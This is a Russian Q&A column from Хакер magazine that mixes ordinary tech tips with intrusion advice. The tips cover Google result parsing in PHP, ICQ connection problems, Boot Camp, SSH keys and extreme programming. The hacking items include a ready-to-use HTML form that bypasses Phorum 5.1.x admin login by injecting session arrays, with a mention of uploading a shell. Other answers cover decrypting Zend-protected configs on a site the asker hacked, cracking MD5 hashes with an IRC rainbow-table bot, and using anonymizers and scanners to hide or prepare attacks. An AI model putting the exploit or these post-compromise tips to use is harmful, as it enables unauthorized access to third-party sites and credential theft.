Hack-FAQМаг (icq 884888) Хакер, номер #115, стр. 115-140-1 Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы, ответы на которые при желании можно найти и самостоятельно. Конкретизируй! Телепатов тут нет, поэтому присылай больше информации.Q: Как парсить больше 100-200 результатов выдачи Гугла?A: Для этих целей многие хакеры и сеошники давно используют не совсем документированный адрес поиска гугла – http://www.google.com/ie?hl=en&num=100&start=0&lr=&q=ЗАПРОС. С помощью этого сервиса тебе удастся выводить на 1 страницу браузера 100 найденных ссылок (правда, без сниппетов). Причем, таких страниц может быть до 10 в выдаче. То есть, всего 1000 ссылок за один запрос против 100-200 при обычном серче! А вот тебе и действующий рабочий код на php для парсера: ($massiv_ssilok=parse_serp(запрос,страница);): <?php function parse_serp($query,$page=0) { $page!=0 ? $page=100*$page : ''; $request = 'http://www.google.com/ie?hl=en&num=100&start='.$page.'&lr=&q='.urlencode(trim($query)); $pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU'; $result = file_get_contents($request); if(preg_match_all($pattern, $result, $matches)) { for ($i=0; $i<count($matches[0]); $i++) { $link = $matches[2][$i]; $serp[] = $link; } } return $serp; } ?> Q: Многие онлайн-чекеры PR Гугла перестали работать. Как проверять PR сайтов в таких условиях?A: Есть альтернативные варианты проверки PR: 1) Для одного url – картинки с PR, как то: http://www.prsitecheck.com/pagerank.php?img=2&url=адрес, http://pr-cy.ru/tools/gpr/gpr.php?l=адрес; 2) Для проверки целого списка URL – многопоточная программа PrChecker, находящаяся по адресу http://solutionfix.org/?p=download&s=prchecker. Из описания чекера: «Самый обычный ПР-чекер. Под ОС Windows. Многопоточный (количество потоков задается в ini-файле), сохранение результатов в Excel. Достаточно шустрый – на 256k скорость чекинга порядка 1000 url/мин». Q: Недавно перестала подключаться аська/наблюдаются глюки в подключении icq-клиента. Что делать?A: По поводу сабжа – официальный комментарий с блога разработчика QIP inf.ru: «В интернете паника – сайты асечных клиентов практически недоступны, включая официальный. У многих асек не подходит пароль. Что же случилось? В отличие от того бреда, который пишут вполне серьезные СМИ, дам этому более правильное объяснение. Перестал работать «простой» способ подключения, работает только «безопасный». Это значит, что все клиенты, выпущенные до «аськи 6», не будут подключаться к серверам. Ну и, соответственно, – все неофициальные клиенты, которые логинятся, используя простой способ подключения. Только ради Бога, не меняйте сервер подключения на «slogin.oscar.aol.com», это совершенно другой сервер и не предназначен он для подключения номеров аськи; он используется только для подключения aim аккаунтов. Просто включите безопасный вход в своем клиенте и не трогайте адрес сервера, он всегда был и есть «login.icq.com» или «login.oscar.aol.com». Эти сервера понимают оба способа подключения и простой, и безопасный. В QIP Infium используется только безопасный вход и в нем проблем быть не должно с этим». Q: Как установить Винду на свой новенький Mac?A: Очень просто. Для этого в Mac OS X 10.5 Leopard предустановлена утилита BootCamp. Итак, пошаговая инструкция:
Учти один нюанс. Если ты выберешь форматирование раздела Винды в NTFS, то макось сможет лишь читать файлы, а если в FAT32, то и читать и записывать. Тут уж решать тебе. Фак по установке Винды с помощью BootCamp находится на официальном сайте Apple – support.apple.com/kb/HT1656?viewlocale=ru_RU. Q: Не совсем понял, как пользоваться сервисом расшифровки md5 хешей на plain-text.info, можешь объяснить подробней?A: На любимом всеми хацкерами http://plain-text.info процесс расшифровки проходит прямо в irc! Возьмем для примера встроенный irc-клиент браузера Opera. Заходим в Инструменты -> Учетные записи почты и общения -> Добавить -> Общение (irc). Затем вбиваем мыло, ник, сервер irc.plain-text.info и ждем, когда загрузится список комнат. Заходим в #rainbowcrack. Далее все просто. Отсылаем боту команду «.c3p0 addmd5 хеш» и ждем. Если через три секунды бот не выдал расшифрованный пароль, то такого хеша пока что нет в их rainbow-таблицах. Значит, тебе стоит зайти в комнату чуть позже. Показать факи по работе с сервисом ты можешь попросить у того же бота командой «.c3p0 help». Q: Какие веб-анонимайзеры ты знаешь?A: Вот список проверенных временем сервисов для анонимного серфинга:
Обновленный список анонимайзеров всегда доступен по адресу activeproxies.org. И помни, любой анонимайзер ведет логи! Так что при серьезных взломах не стоит на них полагаться. Q: Слышал, что можно как-то зайти в админку в последних версиях Phorum 5.1.x без знания пароля админа. Не знаешь подробностей?A: Очень просто! Для этого тебе всего лишь нужно создать небольшой html-файл следующего содержания: <html> <body> <form action="http://phorum.site.com/admin.php" method="POST"> <input type="hidden" name="phorum_admin_session[]" value="1"/> <input type="hidden" name="phorum_session_v5[]" value="=1"/> <input type="submit" value="Inject!"/> </form> </body> </html> После сабмита ты окажешься в админке Phorum. В некоторых случаях прокатывает следующий способ заливки шелла на основе вышеприведенного бага:
Q: Взломал сайт, но конфиги доступа к базе данных в php-скриптах зашифрованы Zend'ом. Пользоваться консольными тулзами дезендерами лень. Можешь подсказать путь попроще?A: Тебе поможет мой любимый онлайн-дезендер, расположенный по адресу http://void.su/webtools/dezend. Цитата из описания сервиса: «Сервис предоставляет возможность дезендрования (получения исходных кодов скриптов на языке php из зашифрованных ZendGuard'ом) скриптов для версии Zend 3.x 4.x 5.x». Здесь все просто – заливаешь зашифрованный файл и получаешь на выходе чистый php-код. Пользуйся :). P.S. Еще один дезендер, аналогичный первому – http://dezend.w4ck1ng.com. Выбирай сам, какой тебе больше понравится. Q: Как бы мне просканировать структуру каталогов сайта?A: Русский кодер madnet как раз для сабжа написал мегасканер, находящийся на его сайте http://madnet.name/tools/madss. Читаем: «Сервис предназначен для определения структуры сайта. Часто приходится пользоваться различными сканерами для определения структуры сайта, но мы забываем, что в 99% случаев до нас это сделал лучший сервис сети, великий и могучий GOOGLE, причем, частенько он запоминает то, до чего простому смертному просто так не добраться. Моя система пытается вытянуть максимум информации о сайте из Гугла и построить на ее основе дерево сайта. Утилита также будет полезна web-программистам для анализа индексации сайта Гуглом». Новые возможности сканера:
Как видишь, сервис может составить тебе неплохое подспорье в достижении цели взлома или если ты занимаешься SEO. Q: Что такое A-GPS?A: Если ты когда-нибудь использовал GPS-приемник, то, вероятно, знаешь, насколько долго он определяет местоположение в первый раз после включения. Это называется «холодным стартом». Задержка происходит потому, что приемник осуществляет поиск спутников и запись так называемого альманаха (набор данных об орбитах и работоспособности всех спутников созвездия, передаваемый каждым спутником в его навигационном сообщении), а также других важных технических данных. К сожалению, избавиться от этой раздражающей задержки нельзя – кроме случая, когда в девайс встроена поддержка технологии A-GPS (Assisted GPS). Термин означает, что часть информации, необходимой для расчета координат, передается приемнику по дополнительному каналу, чаще всего GPRS. Дополнительные данные передаются устройству от провайдера A-GPS. По доброте душевной тот, вообще, может взять да и принять спутниковые данные с GPS-устройства клиента, обработать их и вернуть готовые координаты. Технология действительно работает и уже сейчас поддерживается анонсированными устройствами Apple iPhone 3G и HTC Touch Diamond, а также новыми моделями Nokia и Sony Ericsson. Q: Skype и Gizmo позволяют купить виртуальный телефонный номер в Штатах. А есть ли такие услуги на бесплатной основе?A: Да, совершенно бесплатный номер в Штатах позволяет зарегистрировать замечательный сервис GroovyTel (www.groovytel.com), предоставляющий переадресацию на различные VoIP-клиенты: Google Talk, MSN Messenger, Yahoo Messenger, Free World Dialup, Gizmo5. Во время регистрации предлагается несколько вариантов номеров. После этого – можно сразу приступать к работе (причем, если обновить страницу в браузере, то список предлагаемых номеров меняется и можно выбрать номер из намного большего числа вариантов). При поступлении звонка разговор тут же переадресуется, а номер звонящего высвечивается в софтварном клиенте. Впрочем, если использовать программные решения не хочется, – можно заюзать сервис с возможностью вывода звонка по протоколу SIP. В Германии – это www.bluesip.net, а в США – www.ipkall.com. Уверен, что такие сервисы есть еще. Q: Как лучше всего настроить транспорт ICQ в Jabber? Где гарантия, что никто не перехватит мои пароли на gateway'е?A: Параноикам рекомендую использовать официальный ICQ jabber server:
Q: В ваших роликах я несколько раз видел, что человек заходил на удаленный SSH-сервер без всякого ввода паролей. В последнее время имею дело с тремя серверами, на которые приходится заходить чуть ли не по 20 раз в день. Как упростить процедуру авторизации?A: Все просто: вместо пароля используется специальная пара ключей. Для этого – 1. Генерируется личный ключ на компьютере: localuser@local-machine:~$ ssh-keygen -t rsa В домашнем каталоге должна создаться директория .ssh, в которую запишется файл с ключем – id_rsa.pub. 2. Остается зайти на удаленную машину любым из способов, создать в домашнем каталоге директорию .ssh и файл authorized_keys в ней. После чего поместить в этот файл строку из id_rsa.pub, который мы сгенерировали на локальной машине. Как ты уже догадался, это подходит для Unix-клиента. В случае с Виндой рекомендую использовать всем известный SSH-клиент PuTTY. В архив с программой входит дополнительная утилита PUTTYGEN, которая поможет сгенерировать открытый и приватный ключ. Открытый ключ, как уже было описано, необходимо передать на удаленный сервер, вставив в файл /.ssh/authorized_keys2 в виде еще одной строки. Что касается закрытого ключа, то путь к нему необходимо указать в настройках нужной сессии. Добавлю, что даже при использовании пары ключей приходится каждый раз вводиться секретную фразу, что сильно раздражает при частых коннектах. От этой проблемы может избавить утилита Pageant, которая также входит в стандартный комплект PuTTY. Q: Где искать инструкцию к девайсам, кроме официального сайта и Гугла? Купил себе DVB-приемник, а компания-производитель то ли вовсе исчезла, то ли изменила название.A: Отличный способ найти инструкцию для редкого девайса – посмотреть на сайте SafeManuals.com. Лично меня он выручал в двух совершенно безнадежных случаях. Приятно, что на сайте доступны мануалы по самым разнообразным темам: будь то материнская плата, автомобиль или стиральная машина. Q: Что такое экстремальное программирование?A: Нет, это ни разу не кодинг в экстремальных условиях. Экстремальное программирование (англ. Extreme Programming, XP) – один из наиболее гибких подходов к процессу и организации разработки программного обеспечения, авторами которого являются легендарный Мартин Фаулер и Кент Бек (его книга Extreme Programming Explained по праву считается классикой). Практикуется подход обычно в динамичных и небольших коллективах и основывается на нескольких любопытных приемах. Самые известные: коллективное владение и парное программирование. Коллективное владение означает, что каждый программист несет ответственность за весь код и вправе вносить изменения в любой участок кода. Захочешь ли ты делать ошибки и писать кривой код, если знаешь, что к нему будет иметь доступ любой из твоих коллег? Нет! К тому же, со стороны всегда лучше видны ошибки. Парное программирование предполагает, что весь код создается парами программистов, работающих за одним компьютером. Один из них работает непосредственно с текстом программы, другой просматривает его работу и следит за общей картиной. Впрочем, с нынешним развитием технологий программистам абсолютно необязательно находиться рядом. Например, для известной среды программирования Eclipse сейчас активно разрабатывают плагин Cola. Он позволяет нескольким программистам одновременно и параллельно вести работу над одним и тем же участком кода (все изменения отображаются в реальном времени). Ну, а связаться между собой можно по Skype, в том числе и видеоконференцией. |